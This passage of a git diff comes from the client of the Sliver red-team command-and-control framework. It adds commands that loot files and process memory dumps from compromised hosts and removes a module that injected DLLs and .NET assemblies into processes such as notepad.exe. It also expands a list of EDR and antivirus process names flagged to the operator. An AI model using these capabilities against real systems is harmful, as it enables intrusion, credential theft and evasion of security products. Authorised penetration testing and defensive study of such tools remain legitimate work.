|
||||
fileData, err := io.ReadAll(tarReader)
|
||||
if err == nil {
|
||||
lootMessage := CreateLootMessage(filepath.Base(entryHeader.Name), lootName, lootType, fileType, fileData)
|
||||
SendLootMessage(lootMessage, con)
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// LootAddRemoteCmd - Add a file from the remote system to the server as loot
|
||||
func LootAddRemoteCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
session := con.ActiveTarget.GetSessionInteractive()
|
||||
@@ -38,77 +233,22 @@ func LootAddRemoteCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
return
|
||||
}
|
||||
remotePath := ctx.Args.String("path")
|
||||
fileName := filepath.Base(remotePath)
|
||||
name := ctx.Flags.String("name")
|
||||
if name == "" {
|
||||
name = path.Base(remotePath)
|
||||
}
|
||||
|
||||
var lootType clientpb.LootType
|
||||
var err error
|
||||
lootTypeStr := ctx.Flags.String("type")
|
||||
if lootTypeStr != "" {
|
||||
lootType, err = lootTypeFromHumanStr(lootTypeStr)
|
||||
if err == ErrInvalidLootType {
|
||||
con.PrintErrorf("Invalid loot type %s", lootTypeStr)
|
||||
return
|
||||
}
|
||||
} else {
|
||||
lootType = clientpb.LootType_LOOT_FILE
|
||||
}
|
||||
|
||||
ctrl := make(chan bool)
|
||||
con.SpinUntil(fmt.Sprintf("Looting remote file %s", remotePath), ctrl)
|
||||
|
||||
download, err := con.Rpc.Download(context.Background(), &sliverpb.DownloadReq{
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
Path: remotePath,
|
||||
})
|
||||
if err != nil {
|
||||
ctrl <- true
|
||||
<-ctrl
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err) // Download failed
|
||||
return
|
||||
}
|
||||
}
|
||||
|
||||
if download.Encoder == "gzip" {
|
||||
download.Data, err = new(encoders.Gzip).Decode(download.Data)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Decoding failed %s", err)
|
||||
return
|
||||
}
|
||||
}
|
||||
|
||||
// Determine type based on download buffer
|
||||
lootFileType, err := lootFileTypeFromHumanStr(ctx.Flags.String("file-type"))
|
||||
if lootFileType == -1 || err != nil {
|
||||
if isText(download.Data) {
|
||||
lootFileType = clientpb.FileType_TEXT
|
||||
} else {
|
||||
lootFileType = clientpb.FileType_BINARY
|
||||
}
|
||||
}
|
||||
loot := &clientpb.Loot{
|
||||
Name: name,
|
||||
Type: lootType,
|
||||
FileType: lootFileType,
|
||||
File: &commonpb.File{
|
||||
Name: path.Base(remotePath),
|
||||
Data: download.Data,
|
||||
},
|
||||
}
|
||||
if lootType == clientpb.LootType_LOOT_CREDENTIAL {
|
||||
loot.CredentialType = clientpb.CredentialType_FILE
|
||||
}
|
||||
|
||||
loot, err = con.Rpc.LootAdd(context.Background(), loot)
|
||||
ctrl <- true
|
||||
<-ctrl
|
||||
lootType, err := ValidateLootType(ctx.Flags.String("type"))
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
|
||||
con.PrintInfof("Successfully added loot to server (%s)\n", loot.LootID)
|
||||
download, err := PerformDownload(remotePath, fileName, ctx, con)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
|
||||
// Determine type based on download buffer
|
||||
lootFileType := ValidateLootFileType(ctx.Flags.String("file-type"), download.Data)
|
||||
LootDownload(download, name, lootType, lootFileType, ctx, con)
|
||||
}
|
||||
@@ -1,335 +0,0 @@
|
||||
package macros
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2019 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"context"
|
||||
"encoding/json"
|
||||
"fmt"
|
||||
"io/ioutil"
|
||||
"os"
|
||||
"path"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
|
||||
"github.com/bishopfox/sliver/client/command/help"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
consts "github.com/bishopfox/sliver/client/constants"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"github.com/desertbit/grumble"
|
||||
)
|
||||
|
||||
const (
|
||||
defaultTimeout = 60
|
||||
|
||||
windowsDefaultHostProc = `c:\windows\system32\notepad.exe`
|
||||
linuxDefaultHostProc = "/bin/bash"
|
||||
macosDefaultHostProc = "/Applications/Safari.app/Contents/MacOS/SafariForWebKitDevelopment"
|
||||
)
|
||||
|
||||
var commandMap map[string]macro
|
||||
var defaultHostProc = map[string]string{
|
||||
"windows": windowsDefaultHostProc,
|
||||
"linux": windowsDefaultHostProc,
|
||||
"darwin": macosDefaultHostProc,
|
||||
}
|
||||
|
||||
type binFiles struct {
|
||||
Ext64Path string `json:"x64"`
|
||||
Ext32Path string `json:"x86"`
|
||||
}
|
||||
|
||||
type macroFile struct {
|
||||
OS string `json:"os"`
|
||||
Files binFiles `json:"files"`
|
||||
}
|
||||
|
||||
type macroCommand struct {
|
||||
Name string `json:"name"`
|
||||
Entrypoint string `json:"entrypoint"`
|
||||
Help string `json:"help"`
|
||||
LongHelp string `json:"longHelp"`
|
||||
AllowArgs bool `json:"allowArgs"`
|
||||
DefaultArgs string `json:"defaultArgs"`
|
||||
MacroFiles []macroFile `json:"extFiles"`
|
||||
IsReflective bool `json:"isReflective"`
|
||||
IsAssembly bool `json:"IsAssembly"`
|
||||
}
|
||||
|
||||
func (ec *macroCommand) getDefaultProcess(targetOS string) (proc string, err error) {
|
||||
proc, ok := defaultHostProc[targetOS]
|
||||
if !ok {
|
||||
err = fmt.Errorf("no default process for %s target, please specify one", targetOS)
|
||||
}
|
||||
return
|
||||
}
|
||||
|
||||
type macro struct {
|
||||
Name string `json:"macroName"`
|
||||
Commands []macroCommand `json:"macroCommands"`
|
||||
Path string
|
||||
}
|
||||
|
||||
func (e *macro) getFileForTarget(cmdName string, targetOS string, targetArch string) (filePath string, err error) {
|
||||
for _, c := range e.Commands {
|
||||
if cmdName == c.Name {
|
||||
for _, ef := range c.MacroFiles {
|
||||
if targetOS == ef.OS {
|
||||
switch targetArch {
|
||||
case "x86":
|
||||
filePath = filepath.Join(e.Path, ef.Files.Ext32Path)
|
||||
case "x64":
|
||||
filePath = filepath.Join(e.Path, ef.Files.Ext64Path)
|
||||
default:
|
||||
filePath = filepath.Join(e.Path, ef.Files.Ext64Path)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
}
|
||||
}
|
||||
if filePath == "" {
|
||||
err = fmt.Errorf("no macro file found for %s/%s", targetOS, targetArch)
|
||||
}
|
||||
return
|
||||
}
|
||||
|
||||
func (e *macro) getCommandFromName(name string) (extCmd *macroCommand, err error) {
|
||||
for _, x := range e.Commands {
|
||||
if x.Name == name {
|
||||
extCmd = &x
|
||||
return
|
||||
}
|
||||
}
|
||||
err = fmt.Errorf("no macro command found for name %s", name)
|
||||
return
|
||||
}
|
||||
|
||||
// LoadMacroCmd - Locally load a macro into the Sliver shell.
|
||||
func LoadMacroCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
|
||||
dirPath := ctx.Args.String("dir-path")
|
||||
|
||||
// retrieve macro manifest
|
||||
manifestPath := fmt.Sprintf("%s/%s", dirPath, "manifest.json")
|
||||
jsonBytes, err := ioutil.ReadFile(manifestPath)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
}
|
||||
// parse it
|
||||
ext := ¯o{}
|
||||
err = json.Unmarshal(jsonBytes, ext)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Error loading macro: %v", err)
|
||||
return
|
||||
}
|
||||
ext.Path = dirPath
|
||||
// for each macro command, add a new app command
|
||||
for _, extCmd := range ext.Commands {
|
||||
// do not add if the command already exists
|
||||
if cmdExists(extCmd.Name, ctx.App) {
|
||||
con.PrintErrorf("%s command already exists\n", extCmd.Name)
|
||||
return
|
||||
}
|
||||
con.PrintInfof("Adding %s command: %s\n", extCmd.Name, extCmd.Help)
|
||||
|
||||
// Have to use a global map here, as passing the extCmd
|
||||
// either by value or by ref fucks things up
|
||||
commandMap[extCmd.Name] = *ext
|
||||
helpMsg := fmt.Sprintf("[%s] %s", ext.Name, extCmd.Help)
|
||||
macroCmd := &grumble.Command{
|
||||
Name: extCmd.Name,
|
||||
Help: helpMsg,
|
||||
LongHelp: help.FormatHelpTmpl(extCmd.LongHelp),
|
||||
Run: func(extCtx *grumble.Context) error {
|
||||
con.Println()
|
||||
runMacroCommand(extCtx, con)
|
||||
con.Println()
|
||||
return nil
|
||||
},
|
||||
Flags: func(f *grumble.Flags) {
|
||||
if extCmd.IsAssembly {
|
||||
f.String("m", "method", "", "Optional method (a method is required for a .NET DLL)")
|
||||
f.String("c", "class", "", "Optional class name (required for .NET DLL)")
|
||||
f.String("d", "app-domain", "", "AppDomain name to create for .NET assembly. Generated randomly if not set.")
|
||||
f.String("a", "arch", "x84", "Assembly target architecture: x86, x64, x84 (x86+x64)")
|
||||
}
|
||||
f.String("p", "process", "", "Path to process to host the shared object")
|
||||
f.Bool("s", "save", false, "Save output to disk")
|
||||
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
|
||||
},
|
||||
Args: func(a *grumble.Args) {
|
||||
a.StringList("arguments", "arguments", grumble.Default([]string{}))
|
||||
},
|
||||
HelpGroup: consts.MacroHelpGroup,
|
||||
}
|
||||
con.App.AddCommand(macroCmd)
|
||||
}
|
||||
con.PrintInfof("%s macro has been loaded\n", ext.Name)
|
||||
}
|
||||
|
||||
func runMacroCommand(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
session := con.ActiveTarget.GetSessionInteractive()
|
||||
if session == nil {
|
||||
return
|
||||
}
|
||||
ext, ok := commandMap[ctx.Command.Name]
|
||||
if !ok {
|
||||
con.PrintErrorf("No macro command found for `%s` command\n", ctx.Command.Name)
|
||||
return
|
||||
}
|
||||
|
||||
binPath, err := ext.getFileForTarget(ctx.Command.Name, session.GetOS(), session.GetArch())
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
|
||||
c, err := ext.getCommandFromName(ctx.Command.Name)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
|
||||
args := ctx.Args.StringList("arguments")
|
||||
var extArgs string
|
||||
if len(c.DefaultArgs) != 0 && len(args) == 0 {
|
||||
extArgs = c.DefaultArgs
|
||||
} else {
|
||||
extArgs = strings.Join(args, " ")
|
||||
}
|
||||
entryPoint := c.Entrypoint
|
||||
processName := ctx.Flags.String("process")
|
||||
if processName == "" {
|
||||
processName, err = c.getDefaultProcess(session.GetOS())
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
}
|
||||
isDLL := false
|
||||
if filepath.Ext(binPath) == ".dll" {
|
||||
isDLL = true
|
||||
}
|
||||
binData, err := ioutil.ReadFile(binPath)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
var outFilePath *os.File
|
||||
if ctx.Flags.Bool("save") {
|
||||
outFile := path.Base(fmt.Sprintf("%s_%s*.log", ctx.Command.Name, session.GetHostname()))
|
||||
outFilePath, err = ioutil.TempFile("", outFile)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
}
|
||||
if c.IsAssembly {
|
||||
ctrl := make(chan bool)
|
||||
msg := fmt.Sprintf("Executing %s %s ...", ctx.Command.Name, extArgs)
|
||||
con.SpinUntil(msg, ctrl)
|
||||
executeAssemblyResp, err := con.Rpc.ExecuteAssembly(context.Background(), &sliverpb.ExecuteAssemblyReq{
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
IsDLL: isDLL,
|
||||
Process: processName,
|
||||
Arguments: extArgs,
|
||||
Assembly: binData,
|
||||
Arch: ctx.Flags.String("arch"),
|
||||
Method: ctx.Flags.String("method"),
|
||||
ClassName: ctx.Flags.String("class"),
|
||||
AppDomain: ctx.Flags.String("app-domain"),
|
||||
})
|
||||
ctrl <- true
|
||||
<-ctrl
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
con.PrintInfof("Output:\n%s", string(executeAssemblyResp.GetOutput()))
|
||||
if outFilePath != nil {
|
||||
outFilePath.Write(executeAssemblyResp.GetOutput())
|
||||
con.PrintInfof("Output saved to %s\n", outFilePath.Name())
|
||||
}
|
||||
} else if c.IsReflective {
|
||||
ctrl := make(chan bool)
|
||||
msg := fmt.Sprintf("Executing %s %s ...", ctx.Command.Name, extArgs)
|
||||
con.SpinUntil(msg, ctrl)
|
||||
spawnDllResp, err := con.Rpc.SpawnDll(context.Background(), &sliverpb.InvokeSpawnDllReq{
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
Args: strings.Trim(extArgs, " "),
|
||||
Data: binData,
|
||||
ProcessName: processName,
|
||||
EntryPoint: c.Entrypoint,
|
||||
Kill: true,
|
||||
})
|
||||
ctrl <- true
|
||||
<-ctrl
|
||||
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
|
||||
con.PrintInfof("Output:\n%s", spawnDllResp.GetResult())
|
||||
if outFilePath != nil {
|
||||
outFilePath.Write([]byte(spawnDllResp.GetResult()))
|
||||
con.PrintInfof("Output saved to %s\n", outFilePath.Name())
|
||||
}
|
||||
} else {
|
||||
ctrl := make(chan bool)
|
||||
msg := fmt.Sprintf("Executing %s %s ...", ctx.Command.Name, extArgs)
|
||||
con.SpinUntil(msg, ctrl)
|
||||
sideloadResp, err := con.Rpc.Sideload(context.Background(), &sliverpb.SideloadReq{
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
Args: extArgs,
|
||||
Data: binData,
|
||||
EntryPoint: entryPoint,
|
||||
ProcessName: processName,
|
||||
Kill: true,
|
||||
IsDLL: isDLL,
|
||||
})
|
||||
ctrl <- true
|
||||
<-ctrl
|
||||
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
|
||||
con.PrintInfof("Output:\n%s", sideloadResp.GetResult())
|
||||
if outFilePath != nil {
|
||||
outFilePath.Write([]byte(sideloadResp.GetResult()))
|
||||
con.PrintInfof("Output saved to %s\n", outFilePath.Name())
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func cmdExists(name string, app *grumble.App) bool {
|
||||
for _, c := range app.Commands().All() {
|
||||
if name == c.Name {
|
||||
return true
|
||||
}
|
||||
}
|
||||
return false
|
||||
}
|
||||
|
||||
func init() {
|
||||
commandMap = make(map[string]macro)
|
||||
}
|
||||
@@ -35,7 +35,7 @@ func PivotDetailsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
if session == nil {
|
||||
return
|
||||
}
|
||||
pivotListeners, err := con.Rpc.PivotListeners(context.Background(), &sliverpb.PivotListenersReq{
|
||||
pivotListeners, err := con.Rpc.PivotSessionListeners(context.Background(), &sliverpb.PivotListenersReq{
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
})
|
||||
if err != nil {
|
||||
@@ -86,10 +86,10 @@ func PrintPivotListenerDetails(listener *sliverpb.PivotListener, con *console.Sl
|
||||
"ID",
|
||||
"Remote Address",
|
||||
})
|
||||
for _, pivot := range listener.Pivots {
|
||||
for _, pivotListener := range listener.Pivots {
|
||||
tw.AppendRow(table.Row{
|
||||
pivot.ID,
|
||||
pivot.RemoteAddress,
|
||||
pivotListener.PeerID,
|
||||
pivotListener.RemoteAddress,
|
||||
})
|
||||
}
|
||||
con.Printf("%s\n", tw.Render())
|
||||
|
||||
@@ -0,0 +1,49 @@
|
||||
package pivots
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2022 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"context"
|
||||
"encoding/json"
|
||||
"fmt"
|
||||
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/protobuf/commonpb"
|
||||
|
||||
"github.com/desertbit/grumble"
|
||||
)
|
||||
|
||||
// PivotsGraphCmd - Display pivots for all sessions
|
||||
func PivotsGraphCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
|
||||
graph, err := con.Rpc.PivotGraph(context.Background(), &commonpb.Empty{})
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
|
||||
data, err := json.MarshalIndent(graph.Children, "", " ")
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
|
||||
fmt.Printf("%s\n", string(data))
|
||||
|
||||
}
|
||||
@@ -35,7 +35,7 @@ func PivotsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
if session == nil {
|
||||
return
|
||||
}
|
||||
pivotListeners, err := con.Rpc.PivotListeners(context.Background(), &sliverpb.PivotListenersReq{
|
||||
pivotListeners, err := con.Rpc.PivotSessionListeners(context.Background(), &sliverpb.PivotListenersReq{
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
})
|
||||
if err != nil {
|
||||
|
||||
@@ -57,10 +57,13 @@ func StartNamedPipeListenerCmd(ctx *grumble.Context, con *console.SliverConsoleC
|
||||
if session == nil {
|
||||
return
|
||||
}
|
||||
var options []bool
|
||||
options = append(options, ctx.Flags.Bool("allow-all"))
|
||||
listener, err := con.Rpc.PivotStartListener(context.Background(), &sliverpb.PivotStartListenerReq{
|
||||
Type: sliverpb.PivotType_NamedPipe,
|
||||
BindAddress: ctx.Flags.String("bind"),
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
Options: options,
|
||||
})
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
|
||||
@@ -34,7 +34,7 @@ func StopPivotListenerCmd(ctx *grumble.Context, con *console.SliverConsoleClient
|
||||
}
|
||||
id := uint32(ctx.Flags.Int("id"))
|
||||
if id == uint32(0) {
|
||||
pivotListeners, err := con.Rpc.PivotListeners(context.Background(), &sliverpb.PivotListenersReq{
|
||||
pivotListeners, err := con.Rpc.PivotSessionListeners(context.Background(), &sliverpb.PivotListenersReq{
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
})
|
||||
if err != nil {
|
||||
|
||||
@@ -19,19 +19,22 @@ package portfwd
|
||||
*/
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"fmt"
|
||||
"sort"
|
||||
"strings"
|
||||
"text/tabwriter"
|
||||
|
||||
"github.com/bishopfox/sliver/client/command/settings"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/client/core"
|
||||
"github.com/desertbit/grumble"
|
||||
"github.com/jedib0t/go-pretty/v6/table"
|
||||
)
|
||||
|
||||
// PortfwdCmd - Display information about tunneled port forward(s)
|
||||
func PortfwdCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
PrintPortfwd(con)
|
||||
}
|
||||
|
||||
// PrintPortfwd - Print the port forward(s)
|
||||
func PrintPortfwd(con *console.SliverConsoleClient) {
|
||||
portfwds := core.Portfwds.List()
|
||||
if len(portfwds) == 0 {
|
||||
con.PrintInfof("No port forwards\n")
|
||||
@@ -40,18 +43,22 @@ func PortfwdCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
sort.Slice(portfwds[:], func(i, j int) bool {
|
||||
return portfwds[i].ID < portfwds[j].ID
|
||||
})
|
||||
outputBuf := bytes.NewBufferString("")
|
||||
table := tabwriter.NewWriter(outputBuf, 0, 2, 2, ' ', 0)
|
||||
fmt.Fprintf(table, "ID\tSession ID\tBind Address\tRemote Address\t\n")
|
||||
fmt.Fprintf(table, "%s\t%s\t%s\t%s\t\n",
|
||||
strings.Repeat("=", len("ID")),
|
||||
strings.Repeat("=", len("Session ID")),
|
||||
strings.Repeat("=", len("Bind Address")),
|
||||
strings.Repeat("=", len("Remote Address")),
|
||||
)
|
||||
|
||||
tw := table.NewWriter()
|
||||
tw.SetStyle(settings.GetTableStyle(con))
|
||||
tw.AppendHeader(table.Row{
|
||||
"ID",
|
||||
"Session ID",
|
||||
"Bind Address",
|
||||
"Remote Address",
|
||||
})
|
||||
for _, p := range portfwds {
|
||||
fmt.Fprintf(table, "%d\t%d\t%s\t%s\t\n", p.ID, p.SessionID, p.BindAddr, p.RemoteAddr)
|
||||
tw.AppendHeader(table.Row{
|
||||
p.ID,
|
||||
p.SessionID,
|
||||
p.BindAddr,
|
||||
p.RemoteAddr,
|
||||
})
|
||||
}
|
||||
table.Flush()
|
||||
con.Printf("%s", outputBuf.String())
|
||||
con.Printf("%s\n", tw.Render())
|
||||
}
|
||||
@@ -23,6 +23,7 @@ import (
|
||||
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/client/prelude"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/commonpb"
|
||||
"github.com/desertbit/grumble"
|
||||
)
|
||||
@@ -40,7 +41,7 @@ func ConnectCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
AESKey: aesKey,
|
||||
}
|
||||
|
||||
sessionMapper := prelude.InitSessionMapper(config)
|
||||
implantMapper := prelude.InitImplantMapper(config)
|
||||
|
||||
con.PrintInfof("Connected to Operator at %s\n", url)
|
||||
if !skipExisting {
|
||||
@@ -52,9 +53,28 @@ func ConnectCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
if len(sessions.Sessions) > 0 {
|
||||
con.PrintInfof("Adding existing sessions ...\n")
|
||||
for _, session := range sessions.Sessions {
|
||||
err = sessionMapper.AddSession(session)
|
||||
if !session.IsDead {
|
||||
err = implantMapper.AddImplant(session, nil)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Could not add session %s to implant mapper: %s", session.Name, err)
|
||||
}
|
||||
}
|
||||
}
|
||||
con.PrintInfof("Done !\n")
|
||||
}
|
||||
beacons, err := con.Rpc.GetBeacons(context.Background(), &commonpb.Empty{})
|
||||
if err != nil {
|
||||
con.PrintErrorf("Could not get beacon list: %s", err)
|
||||
return
|
||||
}
|
||||
if len(beacons.Beacons) > 0 {
|
||||
con.PrintInfof("Adding existing beacons ...\n")
|
||||
for _, beacon := range beacons.Beacons {
|
||||
err = implantMapper.AddImplant(beacon, func(taskID string, cb func(task *clientpb.BeaconTask)) {
|
||||
con.AddBeaconCallback(taskID, cb)
|
||||
})
|
||||
if err != nil {
|
||||
con.PrintErrorf("Could not add session %s to session mapper: %s", session.Name, err)
|
||||
con.PrintErrorf("Could not add beacon %s to implant mapper: %s", beacon.Name, err)
|
||||
}
|
||||
}
|
||||
con.PrintInfof("Done !\n")
|
||||
|
||||
@@ -25,8 +25,8 @@ import (
|
||||
)
|
||||
|
||||
func OperatorCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
if prelude.SessionMapper != nil {
|
||||
con.PrintInfof("Connected to Operator at %s\n", prelude.SessionMapper.GetConfig().OperatorURL)
|
||||
if prelude.ImplantMapper != nil {
|
||||
con.PrintInfof("Connected to Operator at %s\n", prelude.ImplantMapper.GetConfig().OperatorURL)
|
||||
return
|
||||
}
|
||||
con.PrintInfof("Not connected to any Operator server. Use `operator connect` to connect to one.")
|
||||
|
||||
@@ -24,7 +24,9 @@ import (
|
||||
"io/ioutil"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"time"
|
||||
|
||||
"github.com/bishopfox/sliver/client/command/loot"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
@@ -42,6 +44,8 @@ func ProcdumpCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
pid := ctx.Flags.Int("pid")
|
||||
name := ctx.Flags.String("name")
|
||||
saveTo := ctx.Flags.String("save")
|
||||
saveLoot := ctx.Flags.Bool("loot")
|
||||
lootName := ctx.Flags.String("loot-name")
|
||||
|
||||
if pid == -1 && name != "" {
|
||||
pid = GetPIDByName(ctx, name, con)
|
||||
@@ -78,11 +82,23 @@ func ProcdumpCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
con.PrintErrorf("Failed to decode response %s\n", err)
|
||||
return
|
||||
}
|
||||
PrintProcessDump(dump, saveTo, hostname, pid, con)
|
||||
if saveLoot {
|
||||
LootProcessDump(dump, lootName, hostname, pid, con)
|
||||
}
|
||||
|
||||
if !saveLoot || saveTo != "" {
|
||||
PrintProcessDump(dump, saveTo, hostname, pid, con)
|
||||
}
|
||||
})
|
||||
con.PrintAsyncResponse(dump.Response)
|
||||
} else {
|
||||
PrintProcessDump(dump, saveTo, hostname, pid, con)
|
||||
if saveLoot {
|
||||
LootProcessDump(dump, lootName, hostname, pid, con)
|
||||
}
|
||||
|
||||
if !saveLoot || saveTo != "" {
|
||||
PrintProcessDump(dump, saveTo, hostname, pid, con)
|
||||
}
|
||||
}
|
||||
|
||||
}
|
||||
@@ -99,7 +115,7 @@ func PrintProcessDump(dump *sliverpb.ProcessDump, saveTo string, hostname string
|
||||
return
|
||||
}
|
||||
} else {
|
||||
saveToFile, err = os.OpenFile(saveTo, os.O_WRONLY, 600)
|
||||
saveToFile, err = os.OpenFile(saveTo, os.O_WRONLY|os.O_CREATE, 0o600)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Error creating file: %s\n", err)
|
||||
return
|
||||
@@ -119,3 +135,15 @@ func getHostname(session *clientpb.Session, beacon *clientpb.Beacon) string {
|
||||
}
|
||||
return ""
|
||||
}
|
||||
|
||||
func LootProcessDump(dump *sliverpb.ProcessDump, lootName string, hostName string, pid int, con *console.SliverConsoleClient) {
|
||||
timeNow := time.Now().UTC()
|
||||
dumpFileName := fmt.Sprintf("procdump_%s_%d_%s.dmp", hostName, pid, timeNow.Format("20060102150405"))
|
||||
|
||||
if lootName == "" {
|
||||
lootName = dumpFileName
|
||||
}
|
||||
|
||||
lootMessage := loot.CreateLootMessage(dumpFileName, lootName, clientpb.LootType_LOOT_FILE, clientpb.FileType_BINARY, dump.GetData())
|
||||
loot.SendLootMessage(lootMessage, con)
|
||||
}
|
||||
@@ -35,14 +35,17 @@ import (
|
||||
|
||||
var (
|
||||
// Stylizes known processes in the `ps` command
|
||||
knownSecurityTools = map[string]string{
|
||||
"ccSvcHst.exe": console.Red, // SEP
|
||||
"cb.exe": console.Red, // Carbon Black
|
||||
"MsMpEng.exe": console.Red, // Windows Defender
|
||||
"smartscreen.exe": console.Red, // Windows Defender Smart Screen
|
||||
"bdservicehost.exe": console.Red, // Bitdefender (Total Security)
|
||||
"bdagent.exe": console.Red, // Bitdefender (Total Security)
|
||||
"bdredline.exe": console.Red, // Bitdefender Redline Update Service (Source https://community.bitdefender.com/en/discussion/82135/bdredline-exe-bitdefender-total-security-2020)
|
||||
knownSecurityTools = map[string][]string{
|
||||
// Process Name -> [Color, Stylized Name]
|
||||
"ccSvcHst.exe": {console.Red, "Symantec Endpoint Protection"}, // Symantec Endpoint Protection (SEP)
|
||||
"cb.exe": {console.Red, "Carbon Black"}, // Carbon Black
|
||||
"MsMpEng.exe": {console.Red, "Windows Defender"}, // Windows Defender
|
||||
"smartscreen.exe": {console.Red, "Windows Smart Screen"}, // Windows Defender Smart Screen
|
||||
"CSFalconService.exe": {console.Red, "CrowdStrike"}, // Crowdstrike Falcon Service
|
||||
"CSFalconContainer.exe": {console.Red, "CrowdStrike"}, // CrowdStrike Falcon Container Security
|
||||
"bdservicehost.exe": {console.Red, "Bitdefender"}, // Bitdefender (Total Security)
|
||||
"bdagent.exe": {console.Red, "Bitdefender"}, // Bitdefender (Total Security)
|
||||
"bdredline.exe": {console.Red, "Bitdefender"}, // Bitdefender Redline Update Service (Source https://community.bitdefender.com/en/discussion/82135/bdredline-exe-bitdefender-total-security-2020)
|
||||
}
|
||||
)
|
||||
|
||||
@@ -68,10 +71,20 @@ func PsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
return
|
||||
}
|
||||
PrintPS(os, ps, false, ctx, con)
|
||||
products := findKnownSecurityProducts(ps)
|
||||
if 0 < len(products) {
|
||||
con.Println()
|
||||
con.PrintWarnf("Security Product(s): %s\n", strings.Join(products, ", "))
|
||||
}
|
||||
})
|
||||
con.PrintAsyncResponse(ps.Response)
|
||||
} else {
|
||||
PrintPS(os, ps, true, ctx, con)
|
||||
products := findKnownSecurityProducts(ps)
|
||||
if 0 < len(products) {
|
||||
con.Println()
|
||||
